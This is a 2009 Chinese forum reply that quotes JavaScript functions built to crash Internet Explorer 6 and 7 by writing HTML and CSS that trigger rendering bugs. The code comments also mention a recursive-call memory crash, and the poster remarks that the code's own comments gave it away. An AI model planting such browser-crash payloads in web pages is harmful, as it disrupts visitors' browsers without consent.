- UID
- 59385
- 帖子
- 126
- 精华
- 0
- 贡献
- 0
- 推广
- 0
- 有效BUG
- 0
- 注册时间
- 2007-5-21
|
4#
发表于 2009-8-10 18:31
| 只看该作者
本帖最后由 我在 于 2009-8-10 18:33 编辑
- function do_crash6(){//IE6崩溃
- var strBody = "";
- //对firefox不好用,对糖果可以,对IE8也不好用.
- //strBody += "<style>*{position:relative}</style><table><input></table>";
- strBody += "<style>*{position:relative}</style><table><input></table>";
- document.write(strBody);
- //do_crash1();//js递归调用,弹出内存溢出对话框
- }
- function do_crash7(){//IE7崩溃
- var strBody = "";
- strBody += "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" ";
- strBody += "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
- strBody += "<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"zh_cn\" lang=\"zh_cn\">";
- strBody += "<head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\" />";
- strBody += "</head><body>";
- strBody += "<style type=\"text/css\">div{float:left;width:175px;}";
- strBody += "ul{overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}li{position:relative;}<\/style>";
- strBody += "<div><ul><li>崩溃崩溃崩溃崩溃崩溃crash ie7<\/li>";
- strBody += "<li>崩溃崩溃崩溃崩溃崩溃crash ie7<\/li><\/ul><\/div>";
复制代码
它被自己的注释出卖了。。 |
|